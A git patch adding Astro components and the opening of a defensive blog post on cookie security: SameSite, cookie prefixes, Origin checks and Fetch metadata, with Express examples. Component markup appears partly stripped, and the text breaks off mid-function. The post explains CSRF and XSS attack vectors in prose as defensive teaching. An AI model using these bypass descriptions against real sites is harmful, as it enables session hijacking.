From 5ac034fab10795578fa327127e97d864e9a43bc5 Mon Sep 17 00:00:00 2001 From: Honey Sharma Date: Tue, 7 Apr 2026 16:02:57 +0530 Subject: [PATCH 1/5] feat: completed the frontend secruity series --- src/components/mdx/A.astro | 81 ++++ src/components/mdx/AttackSurface.astro | 240 ++++++++++ src/components/mdx/CSSLayerStack.astro | 355 +++++++++++++++ src/components/mdx/Interview.astro | 126 ++++++ src/components/mdx/Q.astro | 100 +++++ src/components/mdx/SequenceDiagram.astro | 45 +- src/components/mdx/SpecificityMeter.astro | 341 +++++++++++++++ src/components/mdx/TokenTree.astro | 409 ++++++++++++++++++ .../frontend-security/cookie-security.mdx | 398 +++++++++++++++++ .../frontend-security/cors-deep-dive.mdx | 293 +++++++++++++ .../frontend-security/csp-in-practice.mdx | 309 +++++++++++++ .../frontend-security/csrf-patterns.mdx | 267 ++++++++++++ src/content/series/frontend-security/index.md | 18 + .../interview-simulation.mdx | 250 +++++++++++ .../series/frontend-security/overview.mdx | 188 ++++++++ .../security-interview-playbook.mdx | 291 +++++++++++++ .../frontend-security/security-mindset.mdx | 199 +++++++++ .../subresource-integrity.mdx | 359 +++++++++++++++ .../frontend-security/supply-chain-risks.mdx | 359 +++++++++++++++ .../series/frontend-security/xss-anatomy.mdx | 358 +++++++++++++++ src/layouts/BlogLayout.astro | 16 +- 21 files changed, 4991 insertions(+), 11 deletions(-) create mode 100644 src/components/mdx/A.astro create mode 100644 src/components/mdx/AttackSurface.astro create mode 100644 src/components/mdx/CSSLayerStack.astro create mode 100644 src/components/mdx/Interview.astro create mode 100644 src/components/mdx/Q.astro create mode 100644 src/components/mdx/SpecificityMeter.astro create mode 100644 src/components/mdx/TokenTree.astro create mode 100644 src/content/series/frontend-security/cookie-security.mdx create mode 100644 src/content/series/frontend-security/cors-deep-dive.mdx create mode 100644 src/content/series/frontend-security/csp-in-practice.mdx create mode 100644 src/content/series/frontend-security/csrf-patterns.mdx create mode 100644 src/content/series/frontend-security/index.md create mode 100644 src/content/series/frontend-security/interview-simulation.mdx create mode 100644 src/content/series/frontend-security/overview.mdx create mode 100644 src/content/series/frontend-security/security-interview-playbook.mdx create mode 100644 src/content/series/frontend-security/security-mindset.mdx create mode 100644 src/content/series/frontend-security/subresource-integrity.mdx create mode 100644 src/content/series/frontend-security/supply-chain-risks.mdx create mode 100644 src/content/series/frontend-security/xss-anatomy.mdx diff --git a/src/components/mdx/A.astro b/src/components/mdx/A.astro new file mode 100644 index 0000000..2b3dac6 --- /dev/null +++ b/src/components/mdx/A.astro @@ -0,0 +1,81 @@ +--- +interface Props { + label?: string; + quality?: 'strong' | 'partial' | 'weak'; +} + +const { label = 'Candidate', quality } = Astro.props; + +const qualityConfig: Record = { + strong: { icon: '✓', text: 'strong answer', color: 'var(--iv-quality-strong)' }, + partial: { icon: '◐', text: 'partial answer', color: 'var(--iv-quality-partial)' }, + weak: { icon: '✗', text: 'weak answer', color: 'var(--iv-quality-weak)' }, +}; + +const q = quality ? qualityConfig[quality] : null; +--- + +
+
+ {q && ( + + + {q.text} + + )} + + + {label} + +
+
+ +
+
+ + diff --git a/src/components/mdx/AttackSurface.astro b/src/components/mdx/AttackSurface.astro new file mode 100644 index 0000000..f84fcb1 --- /dev/null +++ b/src/components/mdx/AttackSurface.astro @@ -0,0 +1,240 @@ +--- +interface Props { + title?: string; + caption?: string; +} + +const { title, caption } = Astro.props; + +const layers = [ + { + id: 'dom', + label: 'Layer 1 — DOM & Browser', + sublabel: 'Injection, execution context, browser trust model', + posts: ['Post 1 · XSS Anatomy', 'Post 2 · Content Security Policy'], + color: 'red', + icon: '🌐', + }, + { + id: 'network', + label: 'Layer 2 — Network & Origins', + sublabel: 'Same-Origin Policy, cross-origin requests, CORS', + posts: ['Post 3 · CORS Deep Dive'], + color: 'orange', + icon: '🔀', + }, + { + id: 'auth', + label: 'Layer 3 — Auth & Cookies', + sublabel: 'Session cookies, cross-site requests, state mutations', + posts: ['Post 4 · CSRF & SameSite'], + color: 'amber', + icon: '🍪', + }, + { + id: 'supply', + label: 'Layer 4 — Supply Chain & Third-Party Trust', + sublabel: 'npm dependency tree, CDN scripts, subresource integrity', + posts: ['Post 5 · Supply Chain Attacks', 'Post 6 · Subresource Integrity'], + color: 'purple', + icon: '📦', + }, +] as const; + +type LayerColor = 'red' | 'orange' | 'amber' | 'purple'; + +const COLOR_VARS: Record = { + red: { bg: 'rgba(239,68,68,0.07)', border: 'rgba(239,68,68,0.35)', badge: 'rgba(239,68,68,0.15)', badgeText: '#f87171' }, + orange: { bg: 'rgba(249,115,22,0.07)', border: 'rgba(249,115,22,0.35)', badge: 'rgba(249,115,22,0.15)', badgeText: '#fb923c' }, + amber: { bg: 'rgba(245,158,11,0.07)', border: 'rgba(245,158,11,0.35)', badge: 'rgba(245,158,11,0.15)', badgeText: '#fbbf24' }, + purple: { bg: 'rgba(168,85,247,0.07)', border: 'rgba(168,85,247,0.35)', badge: 'rgba(168,85,247,0.15)', badgeText: '#c084fc' }, +}; +--- + +
+ {title &&
{title}
} +
+
DevForum
+
+ {layers.map((layer) => { + const c = COLOR_VARS[layer.color]; + return ( +
+
+ +
+
{layer.label}
+
{layer.sublabel}
+
+
+
+ {layer.posts.map(post => ( + + {post} + + ))} +
+
+ ); + })} +
+ +
+ {caption &&
{caption}
} +
+ + diff --git a/src/components/mdx/CSSLayerStack.astro b/src/components/mdx/CSSLayerStack.astro new file mode 100644 index 0000000..c8b2a0b --- /dev/null +++ b/src/components/mdx/CSSLayerStack.astro @@ -0,0 +1,355 @@ +--- +type LayerVariant = 'reset' | 'base' | 'tokens' | 'components' | 'utilities' | 'unlayered'; + +interface Layer { + /** Layer name exactly as written in @layer — use "(unlayered)" for styles outside any layer */ + name: string; + /** One-line description shown beneath the name */ + description?: string; + /** Representative rules to display inside the card */ + rules?: string[]; + /** Visual colour variant for the left accent bar */ + variant?: LayerVariant; + /** Add a glow highlight to this layer */ + highlight?: boolean; +} + +interface Props { + layers: Layer[]; + title?: string; + caption?: string; + /** Show a "↑ PRIORITY" sidebar on the right */ + showPriorityArrow?: boolean; +} + +const { layers, title, caption, showPriorityArrow = false } = Astro.props; + +// Input is ordered low-priority → high-priority (e.g. reset first, unlayered last). +// We reverse so the visual order is high-priority on top, low-priority on bottom. +const displayLayers = [...layers].reverse(); +--- + +
+ {title &&
{title}
} + +
+ {/* ── Priority indicator labels ───────────────────────────── */} + {showPriorityArrow && ( +
+ ↑ high priority + ↓ low priority +
+ )} + +
+ {/* ── Layer stack ────────────────────────────────────────── */} +
+ {displayLayers.map((layer) => { + const v = layer.variant ?? 'base'; + const isUnlayered = v === 'unlayered'; + return ( +
+ {/* Coloured left accent bar */} + + ); + })} +
+ + {/* ── Priority arrow sidebar ─────────────────────────────── */} + {showPriorityArrow && ( +
+ PRIORITY +
+ )} +
+
+ + {caption &&
{caption}
} +
+ + diff --git a/src/components/mdx/Interview.astro b/src/components/mdx/Interview.astro new file mode 100644 index 0000000..c06a91d --- /dev/null +++ b/src/components/mdx/Interview.astro @@ -0,0 +1,126 @@ +--- +interface Props { + scenario: string; + context?: string; + topic?: 'xss' | 'csp' | 'cors' | 'csrf' | 'cookies' | 'supply-chain' | 'sri' | 'general'; +} + +const { scenario, context, topic = 'general' } = Astro.props; + +const topicColors: Record = { + xss: { bg: 'var(--iv-xss-bg)', badge: 'var(--iv-xss-badge)' }, + csp: { bg: 'var(--iv-csp-bg)', badge: 'var(--iv-csp-badge)' }, + cors: { bg: 'var(--iv-cors-bg)', badge: 'var(--iv-cors-badge)' }, + csrf: { bg: 'var(--iv-csrf-bg)', badge: 'var(--iv-csrf-badge)' }, + cookies: { bg: 'var(--iv-cookies-bg)', badge: 'var(--iv-cookies-badge)' }, + 'supply-chain': { bg: 'var(--iv-sc-bg)', badge: 'var(--iv-sc-badge)' }, + sri: { bg: 'var(--iv-sri-bg)', badge: 'var(--iv-sri-badge)' }, + general: { bg: 'var(--iv-gen-bg)', badge: 'var(--iv-gen-badge)' }, +}; + +const colors = topicColors[topic]; +--- + +
+
+ {topic === 'supply-chain' ? 'supply chain' : topic} + {scenario} +
+ {context &&

{context}

} +
+ +
+
+ + diff --git a/src/components/mdx/Q.astro b/src/components/mdx/Q.astro new file mode 100644 index 0000000..c7cdb16 --- /dev/null +++ b/src/components/mdx/Q.astro @@ -0,0 +1,100 @@ +--- +interface Props { + label?: string; +} + +const { label = 'Interviewer' } = Astro.props; +--- + +
+
+ + + {label} + +
+
+ +
+
+ + diff --git a/src/components/mdx/SequenceDiagram.astro b/src/components/mdx/SequenceDiagram.astro index 0d42180..f5421d7 100644 --- a/src/components/mdx/SequenceDiagram.astro +++ b/src/components/mdx/SequenceDiagram.astro @@ -3,7 +3,8 @@ interface Actor { id: string; label: string; sublabel?: string; - icon?: 'browser' | 'server' | 'dns' | 'ca' | 'router' | 'client'; + icon?: 'browser' | 'server' | 'dns' | 'ca' | 'router' | 'client' | 'attacker' | 'cdn' | 'database'; + variant?: 'default' | 'malicious' | 'trusted'; } interface Message { @@ -11,7 +12,7 @@ interface Message { to: string; label: string; sublabel?: string; - type?: 'request' | 'response' | 'note' | 'error'; + type?: 'request' | 'response' | 'note' | 'error' | 'attack' | 'blocked'; highlight?: boolean; annotation?: string; } @@ -49,12 +50,16 @@ const TYPE_COLOR: Record = { response: '#22c55e', note: '#f59e0b', error: '#ef4444', + attack: '#ef4444', + blocked: '#ef4444', }; const TYPE_DASH: Record = { request: undefined, response: '6 3', note: '3 3', error: undefined, + attack: undefined, + blocked: '5 4', }; const msgColor = (msg: Message): string => @@ -67,7 +72,7 @@ const markerId = (msg: Message): string => `${uid}-${msg.highlight ? 'highlight' : (msg.type ?? 'request')}`; // All distinct marker IDs needed -const markerTypes = ['request', 'response', 'note', 'error', 'highlight'] as const; +const markerTypes = ['request', 'response', 'note', 'error', 'attack', 'blocked', 'highlight'] as const; type MarkerType = typeof markerTypes[number]; const markerColor = (t: MarkerType): string => @@ -164,6 +169,16 @@ const markerColor = (t: MarkerType): string => >{msg.sublabel} )} + {/* Blocked ✕ mark at arrowhead */} + {msg.type === 'blocked' && ( + + )} + {/* Side annotation */} {msg.annotation && ( {actors.map(actor => { const cx = actorX(actor.id); const bx = cx - ACTOR_BOX_W / 2; + const variantClass = + actor.variant === 'malicious' ? 'seq-actor-box seq-actor-malicious' + : actor.variant === 'trusted' ? 'seq-actor-box seq-actor-trusted' + : 'seq-actor-box'; return ( <> width={ACTOR_BOX_W} height={ACTOR_BOX_H - 4} rx="8" - class="seq-actor-box" + class={variantClass} /> stroke-width: 1.5; } + .seq-actor-malicious { + fill: rgba(239, 68, 68, 0.08); + stroke: rgba(239, 68, 68, 0.6); + stroke-width: 2; + } + + .seq-actor-trusted { + fill: rgba(34, 197, 94, 0.08); + stroke: rgba(34, 197, 94, 0.6); + stroke-width: 2; + } + + .seq-blocked-mark { + font-size: 13px; + font-weight: 700; + fill: #ef4444; + } + .seq-actor-label { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; font-size: 13px; diff --git a/src/components/mdx/SpecificityMeter.astro b/src/components/mdx/SpecificityMeter.astro new file mode 100644 index 0000000..5294210 --- /dev/null +++ b/src/components/mdx/SpecificityMeter.astro @@ -0,0 +1,341 @@ +--- +interface SelectorScore { + /** The CSS selector string to display and score */ + selector: string; + /** Optional human-readable label shown beneath the selector */ + label?: string; + /** Inline style contributions — style="" counts as 1-0-0-0 */ + inline: number; + /** ID selector count — #id counts as 0-1-0-0 */ + ids: number; + /** Class / attribute / pseudo-class count — .cls, [attr], :hover each 0-0-1-0 */ + classes: number; + /** Element / pseudo-element count — div, ::before each 0-0-0-1 */ + elements: number; + /** Visually emphasise this row (green ring) */ + highlight?: boolean; +} + +interface Props { + selectors: SelectorScore[]; + title?: string; + caption?: string; +} + +const { selectors, title, caption } = Astro.props; + +// ── Winner detection when exactly two selectors are compared ──────────────── +function beats(a: SelectorScore, b: SelectorScore): boolean { + if (a.inline !== b.inline) return a.inline > b.inline; + if (a.ids !== b.ids) return a.ids > b.ids; + if (a.classes !== b.classes) return a.classes > b.classes; + return a.elements > b.elements; +} + +const isComparison = selectors.length === 2; +let winIdx = -1; +if (isComparison) { + if (beats(selectors[0], selectors[1])) winIdx = 0; + else if (beats(selectors[1], selectors[0])) winIdx = 1; +} + +const SEGMENTS = [ + { + key: 'inline' as const, + label: 'inline', + title: 'Inline styles: style="" — 1-0-0-0 each', + cls: 'sm-seg--inline', + }, + { + key: 'ids' as const, + label: 'IDs', + title: 'ID selectors: #id — 0-1-0-0 each', + cls: 'sm-seg--ids', + }, + { + key: 'classes' as const, + label: 'classes', + title: 'Class / attribute / pseudo-class selectors — 0-0-1-0 each', + cls: 'sm-seg--classes', + }, + { + key: 'elements' as const, + label: 'elements', + title: 'Element / pseudo-element selectors — 0-0-0-1 each', + cls: 'sm-seg--elements', + }, +] as const; +--- + +
+ {title &&
{title}
} + +
+ {selectors.map((sel, idx) => { + const isWinner = isComparison && winIdx === idx; + const isLoser = isComparison && winIdx !== -1 && winIdx !== idx; + const isTied = isComparison && winIdx === -1; + const scoreStr = `${sel.inline}-${sel.ids}-${sel.classes}-${sel.elements}`; + return ( +
+ {/* ── Selector meta bar ─────────────────────────────── */} +
+
+ {sel.selector} + {sel.label && {sel.label}} +
+
+ + {scoreStr} + + {isWinner && ✓ Wins} + {isLoser && ✗ Loses} + {isTied && idx === 0 && = Tie} +
+
+ + {/* ── Score track ───────────────────────────────────── */} +
+ {SEGMENTS.map(seg => { + const count = sel[seg.key]; + return ( +
0 && 'sm-seg--on']} + title={seg.title} + > + {count} + {seg.label} +
+ ); + })} +
+
+ ); + })} +
+ + {caption &&
{caption}
} +
+ + diff --git a/src/components/mdx/TokenTree.astro b/src/components/mdx/TokenTree.astro new file mode 100644 index 0000000..77cd0bc --- /dev/null +++ b/src/components/mdx/TokenTree.astro @@ -0,0 +1,409 @@ +--- +type Tier = 'base' | 'semantic' | 'component'; + +interface TokenNode { + /** Dot-notation token name, e.g. "color.brand.primary" */ + name: string; + /** Raw value ("#0057d9") or alias reference ("{color.blue.600}") */ + value: string; + /** CSS custom property name, e.g. "--color-brand-primary" */ + cssVar?: string; + /** Which tier this token lives in */ + tier: Tier; + /** + * Names of tokens that this token directly aliases (its upstream sources). + * A semantic token `color.interactive.default` with children `["color.blue.600"]` + * means it resolves to the base token `color.blue.600`. + */ + children?: string[]; + /** + * When true, this token AND its full upstream chain are highlighted in accent colour. + */ + highlight?: boolean; +} + +interface Props { + tokens: TokenNode[]; + title?: string; + caption?: string; + /** Show the CSS custom property name inside each card */ + showCssVars?: boolean; +} + +const { tokens, title, caption, showCssVars = false } = Astro.props; + +// ── Layout constants ──────────────────────────────────────────────────────── +const SVG_W = 860; +const CARD_W = 220; +const CARD_H = showCssVars ? 76 : 58; +const ROW_GAP = 14; +const HEADER_H = 46; // Space for column heading text + rule +const BOT_PAD = 24; + +// Column centre x positions: base | semantic | component +const COL_X: Record = { + base: 130, + semantic: 430, + component: 730, +}; + +// ── Group tokens by tier ──────────────────────────────────────────────────── +const byTier: Record = { + base: tokens.filter(t => t.tier === 'base'), + semantic: tokens.filter(t => t.tier === 'semantic'), + component: tokens.filter(t => t.tier === 'component'), +}; + +// ── Compute card positions ────────────────────────────────────────────────── +interface Pos { cx: number; y: number } +const positions = new Map(); + +for (const tier of ['base', 'semantic', 'component'] as Tier[]) { + let yOffset = HEADER_H; + for (const t of byTier[tier]) { + positions.set(t.name, { cx: COL_X[tier], y: yOffset }); + yOffset += CARD_H + ROW_GAP; + } +} + +// ── Compute SVG height ────────────────────────────────────────────────────── +const maxBottom = Math.max( + ...Array.from(positions.values()).map(p => p.y + CARD_H), + HEADER_H + CARD_H, +); +const SVG_H = maxBottom + BOT_PAD; + +// ── Highlighted chain ─────────────────────────────────────────────────────── +// Walk upstream from any token with highlight:true and mark all ancestors. +const highlighted = new Set(); + +function traceUpstream(name: string): void { + if (highlighted.has(name)) return; + highlighted.add(name); + const t = tokens.find(t => t.name === name); + if (t?.children) t.children.forEach(traceUpstream); +} + +tokens.filter(t => t.highlight).forEach(t => traceUpstream(t.name)); + +// ── Connection lines ──────────────────────────────────────────────────────── +// For each semantic/component token, draw a bezier from each parent's right +// edge to this token's left edge. +interface Connection { + x1: number; y1: number; + x2: number; y2: number; + isHl: boolean; +} +const connections: Connection[] = []; + +for (const t of tokens) { + if (!t.children?.length) continue; + const toPos = positions.get(t.name); + if (!toPos) continue; + + for (const parentName of t.children) { + const fromPos = positions.get(parentName); + if (!fromPos) continue; + + const x1 = fromPos.cx + CARD_W / 2; // right edge of parent card + const y1 = fromPos.y + CARD_H / 2; // vertical centre of parent + const x2 = toPos.cx - CARD_W / 2; // left edge of this card + const y2 = toPos.y + CARD_H / 2; // vertical centre of this + + connections.push({ + x1, y1, x2, y2, + isHl: highlighted.has(t.name) && highlighted.has(parentName), + }); + } +} + +// ── Helpers ───────────────────────────────────────────────────────────────── +function looksLikeColor(v: string): boolean { + const t = v.trim(); + return /^#[0-9a-f]{3,8}$/i.test(t) || + t.startsWith('rgb') || + t.startsWith('hsl') || + t.startsWith('oklch') || + t.startsWith('color('); +} + +function truncate(s: string, max: number): string { + return s.length > max ? s.slice(0, max - 1) + '…' : s; +} + +const CONN_DEFAULT = 'rgba(99,102,241,0.18)'; +const CONN_HL = '#818cf8'; +const CONN_MID_X: Record = { + 'base-semantic': (COL_X.base + CARD_W / 2 + COL_X.semantic - CARD_W / 2) / 2, + 'semantic-component': (COL_X.semantic + CARD_W / 2 + COL_X.component - CARD_W / 2) / 2, +}; + +function midX(x1: number): number { + return x1 > 300 ? CONN_MID_X['semantic-component'] : CONN_MID_X['base-semantic']; +} + +const COL_LABELS: Array<{ tier: Tier; label: string }> = [ + { tier: 'base', label: 'Base Tokens' }, + { tier: 'semantic', label: 'Semantic Tokens' }, + { tier: 'component', label: 'Component Tokens' }, +]; + +const uid = `tt-${Math.random().toString(36).slice(2, 7)}`; +--- + +
+ {title &&
{title}
} + +
+ + + + + + + + + + + {/* ── Column header labels + divider lines ──────────────────────── */} + {COL_LABELS.map(({ tier, label }) => ( + <> + {label} + + + ))} + + {/* ── Connection lines (drawn behind cards) ─────────────────────── */} + {connections.map(conn => { + const mx = midX(conn.x1); + const d = `M ${conn.x1} ${conn.y1} C ${mx} ${conn.y1}, ${mx} ${conn.y2}, ${conn.x2} ${conn.y2}`; + return ( + + ); + })} + + {/* ── Token cards ───────────────────────────────────────────────── */} + {tokens.map(t => { + const pos = positions.get(t.name); + if (!pos) return null; + + const isHl = highlighted.has(t.name); + const hasColor = looksLikeColor(t.value); + const cardX = pos.cx - CARD_W / 2; + const cardY = pos.y; + + // Text x offsets: leave room for swatch if present + const nameX = hasColor ? cardX + 32 : cardX + 10; + const valueX = cardX + 10; + + // Y baselines within the card + const nameY = showCssVars ? cardY + 19 : cardY + 20; + const valueY = showCssVars ? cardY + 36 : cardY + 38; + const cssVarY = cardY + 58; + + return ( + <> + {/* Card rectangle */} + + + {/* Highlight chain left border bar */} + {isHl && ( + + )} + + {/* Colour swatch */} + {hasColor && ( + + )} + + {/* Token name */} + + {truncate(t.name, 26)} + + + {/* Token value */} + + {truncate(t.value, 28)} + + + {/* CSS variable (optional) */} + {showCssVars && t.cssVar && ( + + {truncate(t.cssVar, 30)} + + )} + + ); + })} + +
+ + {caption &&
{caption}
} +
+ + diff --git a/src/content/series/frontend-security/cookie-security.mdx b/src/content/series/frontend-security/cookie-security.mdx new file mode 100644 index 0000000..89c780a --- /dev/null +++ b/src/content/series/frontend-security/cookie-security.mdx @@ -0,0 +1,398 @@ +--- +title: "Cookie Defences: SameSite, Prefixes, and Fetch Metadata" +date: "May 2026" +pubDate: 2026-05-12 +category: Security +author: Honey Sharma +summary: Synchronizer tokens stop CSRF at the server. SameSite, __Host- prefix, and Fetch metadata stop it at the browser — before the forged request ever reaches business logic. This post covers every cookie security attribute and the Fetch metadata guard that completes the defence. +tags: [security, csrf, cookies, samesite, fetch-metadata, headers, frontend] +--- +import PacketDiagram from '../../../components/mdx/PacketDiagram.astro'; +import DecisionFlow from '../../../components/mdx/DecisionFlow.astro'; +import Comparison from '../../../components/mdx/Comparison.astro'; +import Callout from '../../../components/mdx/Callout.astro'; +import Lessons from '../../../components/mdx/Lessons.astro'; +import Lesson from '../../../components/mdx/Lesson.astro'; + +The previous post ended with CSRF tokens — the server-side layer that validates every state-changing request carries a secret only the legitimate client could know. + +But tokens are not the only layer. Cookies themselves can be hardened so the browser refuses to send them on cross-site requests in the first place. Request headers set by the browser — headers the attacker cannot forge — can tell your server whether a request originated from your own site or from somewhere else. Used together, these layers mean a CSRF attack never reaches the token validator, never reaches the business logic, and in many cases never leaves the browser at all. + +--- + +## The Three Cookie Security Flags + +Before covering SameSite, two other flags that every session cookie should carry: + +### `HttpOnly` + +```http +Set-Cookie: session=abc123; HttpOnly +``` + +JavaScript cannot read an `HttpOnly` cookie. `document.cookie` will not include it. A DevTools console cannot inspect its value. + +This is primarily an XSS mitigation. The canonical XSS payload steals `document.cookie`. If the session cookie is `HttpOnly`, there is nothing to steal — the script can read every other cookie, but not the one that matters. + + + An `HttpOnly` cookie is still sent with every request — the browser just does not expose it to JavaScript. The CSRF attack still works because the browser attaches the cookie automatically; the attacker's forged form post receives the cookie even though their JavaScript could not read it. HttpOnly prevents XSS cookie theft, not CSRF. + + +### `Secure` + +```http +Set-Cookie: session=abc123; Secure +``` + +The browser only sends a `Secure` cookie over HTTPS. It is never transmitted over HTTP, even if the user navigates to an `http://` URL of the same domain. + +This prevents the session cookie from being intercepted on an unencrypted connection — a real risk on public WiFi, where HTTP traffic is trivially observable. In 2026, HTTPS is essentially universal, but `Secure` remains mandatory — it is a hard guarantee, not a convention. + + + `Secure` controls transmission only. The cookie value is stored in the browser's cookie jar in plaintext. Other security mechanisms — rotating sessions, short TTLs, binding sessions to user-agent or IP fingerprints — protect the stored value against local access. + + +--- + +## SameSite: How the Browser Filters Cross-Site Requests + +`SameSite` tells the browser which cross-site contexts should include the cookie. It has three values, each with very different behaviour. + +### `SameSite=Strict` + +The browser never sends the cookie on any cross-site request — not navigations, not form submissions, not fetches. + +```http +Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly +``` + +If a user has a DevForum tab open and clicks a link to DevForum from another site, the browser sends them to DevForum without the session cookie. They arrive as a logged-out user and must authenticate before their session is attached. Only subsequent navigations *within* DevForum carry the cookie. + +This is complete CSRF protection — but the UX friction is real. Sharing a link to a DevForum post via email means every recipient arrives logged out, even if they have an active session. + +### `SameSite=Lax` + +The default in Chrome since 2020. `Lax` permits cookies on **top-level navigations using safe HTTP methods** (GET, HEAD) from cross-site contexts. It blocks cookies on all other cross-site requests — form POSTs, fetch calls, iframes, and non-navigational image loads. + +```http +Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly +``` + +A user clicks a link from Twitter to DevForum — the cookie is sent. The link takes them to a DevForum page, which looks up their session, and they arrive logged in. A forged form POST from `evil.com` — no cookie. + +`Lax` eliminates most CSRF vectors while preserving the "click a link, stay logged in" behaviour that `Strict` breaks. + +### `SameSite=None` + +The cookie is sent on all cross-site requests. Requires `Secure`. + +```http +Set-Cookie: session=abc123; SameSite=None; Secure; HttpOnly +``` + +This is the pre-2020 default and the setting required for third-party contexts: payment iframes, embedded widgets, cross-site SSO. A `SameSite=None` session cookie is fully vulnerable to CSRF — every defence from this post is necessary. + + + +--- + +## Why `SameSite=Lax` Is Not Sufficient Alone + +`Lax` handles the most common CSRF scenario. It does not handle all of them. + +**State-changing GET requests.** `Lax` permits cookies on cross-site top-level GET navigations. If your application performs a state change on a GET — an email confirmation link that directly activates the account, a "unsubscribe" link that performs the unsubscription in one click — an attacker can trigger it by embedding an `` or simply linking to it. Use POST for state changes. Always. + +**Subdomain attacks.** A script running on `blog.devforum.com` is considered "same-site" with `devforum.com`. If that subdomain is compromised or user-controllable, it can make same-site requests that `Lax` permits — with the session cookie attached. Subdomain isolation requires more than `SameSite`. + +**The two-minute Lax window.** Chrome applies a two-minute grace period: cookies without an explicit `SameSite` attribute are treated as `None` for two minutes after creation, then as `Lax` thereafter. This is for backward compatibility with single-sign-on flows. It means a freshly issued session cookie is briefly vulnerable to CSRF even in Chrome. + +**Legacy browsers.** Any browser that does not support `SameSite` ignores the attribute entirely. Enterprise environments often have older browser versions. Mobile browsers have inconsistent implementations. + +The conclusion: `SameSite=Lax` (or `Strict`) significantly reduces CSRF risk. It does not eliminate it. Layer it with synchronizer tokens and the mechanisms below. + +--- + +## Cookie Prefixes: `__Host-` and `__Secure-` + +Cookie prefixes are browser-enforced invariants — constraints the browser validates on every `Set-Cookie` header before accepting the cookie. + +### `__Secure-` + +A cookie named `__Secure-session` must be: +- Set over HTTPS (with the `Secure` attribute) + +```http +Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax +``` + +If the server tries to set a `__Secure-` cookie without `Secure`, the browser rejects it silently. This prevents downgrade attacks where an attacker injects a cookie over HTTP to override the HTTPS cookie. + +### `__Host-` + +Stricter. A cookie named `__Host-session` must be: +- Set over HTTPS (with `Secure`) +- Not have a `Domain` attribute +- Have `Path=/` + +```http +Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/ +``` + +By omitting `Domain`, the cookie is bound to the exact host that set it — `devforum.com`. It cannot be set by `blog.devforum.com` and it is not sent to `blog.devforum.com`. The subdomain attack vector that bypasses `SameSite=Lax` is eliminated. + + + `__Host-` is the strictest prefix and closes the subdomain cookie injection vector completely. There is almost no downside for session cookies — the restrictions it enforces (`Secure`, no `Domain`, `Path=/`) are what your session cookie should have anyway. Use it by default. + + +--- + +## The Hardened Cookie Header + +Combining everything so far, a production session cookie for DevForum: + + + +Setting this in Express: + +```js +res.cookie('__Host-session', sessionToken, { + httpOnly: true, + secure: true, + sameSite: 'strict', + path: '/', + maxAge: 86400 * 1000, // 24 hours in milliseconds + // No domain: — required for __Host- prefix +}); +``` + + + Many Express cookie libraries default to setting `domain: req.hostname`. With `__Host-`, any `Domain` attribute causes the browser to reject the cookie silently. Explicitly omit `domain`, or set it to `undefined`. Test with DevTools — if the cookie does not appear after `Set-Cookie`, the browser rejected it. + + +--- + +## Cookie Scoping: Domain and Path + +Without any `Domain` attribute, a cookie is bound to the exact host that set it. Adding `Domain` widens the scope: + +```http +Set-Cookie: pref=dark; Domain=devforum.com # sent to devforum.com AND all subdomains +Set-Cookie: pref=dark # sent only to the exact host that set it +``` + +`Domain=devforum.com` means the cookie is sent to `api.devforum.com`, `blog.devforum.com`, and any other subdomain. If any of those subdomains is compromised, the cookie is exposed. + +For session cookies, omit `Domain` — or use `__Host-`, which enforces the omission. For preference cookies that genuinely need to be shared across subdomains, `Domain` is appropriate, but those cookies should never carry security-sensitive values. + +`Path` scopes the cookie to a URL prefix. `Path=/admin` means the cookie is only sent on requests to `/admin/...`. This is a convenience feature, not a security one — JavaScript on the same origin can still read cookies regardless of `Path`. Do not use `Path` as a security boundary. + +--- + +## Origin and Referer Header Verification + +Before Fetch metadata (covered next), the standard secondary check was verifying the `Origin` or `Referer` request header. + +The browser sets `Origin` on cross-origin requests and on same-site POST requests. An attacker on `evil.com` cannot forge this header — it is set by the browser, not by JavaScript. + +```js +function verifyOrigin(req, res, next) { + const origin = req.headers.origin; + const referer = req.headers.referer; + + // Origin is present on most CSRF-relevant requests + if (origin) { + const url = new URL(origin); + if (url.hostname !== 'devforum.com') { + return res.status(403).json({ error: 'Forbidden origin' }); + } + return next(); + } + + // Fallback to Referer for browsers that omit Origin on same-origin POSTs + if (referer) { + const url = new URL(referer); + if (url.hostname !== 'devforum.com') { + return res.status(403).json({ error: 'Forbidden referer' }); + } + return next(); + } + + // Neither header present — reject (conservative stance) + return res.status(403).json({ error: 'Missing origin headers' }); +} +``` + + + Some browsers, browser extensions, and privacy tools strip the `Referer` header. Some request types do not include `Origin`. Using either as your only CSRF defence means legitimate requests may be rejected for non-obvious reasons. Treat these as a secondary check that supplements token validation, not replaces it. + + +--- + +## Fetch Metadata Headers + +Fetch metadata is a set of browser-generated request headers that describe the context of every outgoing request. They are set by the browser and cannot be forged by web page JavaScript. + +| Header | What it says | +|--------|-------------| +| `Sec-Fetch-Site` | Relationship between requester and target: `same-origin`, `same-site`, `cross-site`, or `none` (user navigation) | +| `Sec-Fetch-Mode` | How the fetch was initiated: `navigate`, `cors`, `no-cors`, `same-origin`, `websocket` | +| `Sec-Fetch-Dest` | The destination of the request: `document`, `script`, `image`, `empty`, etc. | + +A request from DevForum's own JavaScript to its own API: +```http +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: cors +Sec-Fetch-Dest: empty +``` + +A CSRF form post from `evil.com`: +```http +Sec-Fetch-Site: cross-site +Sec-Fetch-Mode: navigate +Sec-Fetch-Dest: document +``` + +A user clicking a legitimate link from another site: +```http +Sec-Fetch-Site: cross-site +Sec-Fetch-Mode: navigate +Sec-Fetch-Dest: document +``` + +The key insight: `Sec-Fetch-Site: cross-site` on a state-changing request (non-navigate mode, or navigate with a non-safe method) is a strong signal that the request did not originate from your application. + +### The Resource Isolation Policy + +Google's [Fetch Metadata guide](https://web.dev/fetch-metadata/) defines a server-side guard that uses these headers to reject illegitimate cross-site requests before they reach business logic: + +```js +function resourceIsolationPolicy(req, res, next) { + const site = req.headers['sec-fetch-site']; + const mode = req.headers['sec-fetch-mode']; + const dest = req.headers['sec-fetch-dest']; + + // Allow same-origin requests unconditionally + if (!site || site === 'same-origin') return next(); + + // Allow browser-initiated navigations (user clicked a link) + if (mode === 'navigate' && req.method === 'GET') return next(); + + // Allow requests from browsers that don't support Fetch metadata + // 